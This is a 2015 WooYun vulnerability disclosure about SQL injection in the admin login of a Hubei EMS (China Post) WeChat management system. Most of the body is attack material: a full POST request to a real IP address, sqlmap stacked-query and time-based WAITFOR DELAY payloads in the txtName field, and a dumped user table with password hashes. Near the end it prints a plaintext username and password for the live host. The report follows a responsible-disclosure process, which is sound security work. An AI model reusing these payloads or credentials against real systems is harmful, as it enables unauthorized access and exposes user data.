当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103511

漏洞标题:湖北EMS微信后台管理系统某处注入

相关厂商:中国邮政集团公司信息技术局

漏洞作者: 蓝色的微笑^.^

提交时间:2015-03-25 17:11

修复时间:2015-05-09 17:26

公开时间:2015-05-09 17:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-25: 厂商已经确认,细节仅向厂商公开
2015-04-04: 细节向核心白帽子及相关领域专家公开
2015-04-14: 细节向普通白帽子公开
2015-04-24: 细节向实习白帽子公开
2015-05-09: 细节向公众公开

简要描述:

详细说明:

后台登陆框注入
POST /login.aspx HTTP/1.1
Host: 221.232.128.166:8080
Proxy-Connection: keep-alive
Content-Length: 309
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://221.232.128.166:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://221.232.128.166:8080/login.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=245bicbwfu3csoaouvraawgu
__VIEWSTATE=%2FwEPDwUJMzcwOTE0MjI1ZGQCyuyO%2Bc83PF0qicHTEUDaNFjnm5CjFhFMGr%2BS82V2oQ%3D%3D&__EVENTVALIDATION=%2FwEdAAT0q%2BJllhj8piUUIBbK9NcUozoJZpuXxkpOVJKRbHyuHjPSlu16Yx4QbiDU%2BdddK1OinihG6d%2FXh3PZm3b5AoMQmPubv0TfbW3LJ3cZI4w60P9HE3%2BZgyJT4cZKYWwZhTc%3D&txtName=admin&txtPwd=1&btnLogin=%E7%99%BB+%E5%BD%95
Place: POST
Parameter: txtName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUJMzcwOTE0MjI1ZGQCyuyO+c83PF0qicHTEUDaNFjnm5CjFhF
MGr+S82V2oQ==&__EVENTVALIDATION=/wEdAAT0q+Jllhj8piUUIBbK9NcUozoJZpuXxkpOVJKRbHyu
HjPSlu16Yx4QbiDU+dddK1OinihG6d/Xh3PZm3b5AoMQmPubv0TfbW3LJ3cZI4w60P9HE3+ZgyJT4cZK
YWwZhTc=&txtName=admin'; WAITFOR DELAY '0:0:5';--&txtPwd=1&btnLogin=? ?
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUJMzcwOTE0MjI1ZGQCyuyO+c83PF0qicHTEUDaNFjnm5CjFhF
MGr+S82V2oQ==&__EVENTVALIDATION=/wEdAAT0q+Jllhj8piUUIBbK9NcUozoJZpuXxkpOVJKRbHyu
HjPSlu16Yx4QbiDU+dddK1OinihG6d/Xh3PZm3b5AoMQmPubv0TfbW3LJ3cZI4w60P9HE3+ZgyJT4cZK
YWwZhTc=&txtName=admin' WAITFOR DELAY '0:0:5'--&txtPwd=1&btnLogin=? ?
---
[15:53:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
Database: EMS_DB
Table: dbo.e_User
[5 entries]
+-----+-----+-----+-----+--------+-------+--------------------+-----------------
-----------------+-----------+-----------+----------------+
| [?] | [?] | [~] | [?] | Name | Phone | BirthDay | Password
| LoginName | IsDeleted | [Dhpg?tmes{Rd] |
+-----+-----+-----+-----+--------+-------+--------------------+-----------------
-----------------+-----------+-----------+----------------+
| <blank> | <blank> | <blank> | <blank> | 11\x11 | <blank> | 08 13 2014 12:00AM
| 11 | 1 | 1\t | \x11 |
| <blank> | <blank> | <blank> | <blank> | 123 | <blank> | 08 15 2014 12:00AM
| 123 | 123 | 1 | <blank> |
| <blank> | <blank> | <blank> | <blank> | admin | <blank> | 10 10 2014 12;00AM
| 52AEC65CE0F049671489D296E0778499 | admin | 0 | <blank> |
| <blank> | <blank> | <blank> | <blank> | ??? | <blank> | 12 3 2014 9:13AM
| A58966BCAAA19E5DE107026C71FBF3DD | scb | 0 | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank>
| C0QBEC9CDEE340F5F1014A20EFDBE7EC | <blank> | <blank> | <blank> |
+-----+-----+-----+-----+--------+-------+--------------------+-----------------
-----------------+-----------+-----------+----------------+

漏洞证明:

QQ截图20150324194753.png

http://221.232.128.166:8080
用户名 scb 密码scb

修复方案:

参数过滤 装waf

版权声明:转载请注明来源 蓝色的微笑^.^@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-03-25 17:25

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-24 20:39 | sqlfeng ( 普通白帽子 | Rank:109 漏洞数:22 | 谁送我HHKB,我就嫁给她!)

    我差点就信了

  2. 2015-03-24 20:44 | 蓝色的微笑^.^ ( 路人 | Rank:9 漏洞数:3 | 大家好我叫夯大力 我的女朋友叫白日日日。...)

    @sqlfeng 要不是神仙死了 我差点儿就信了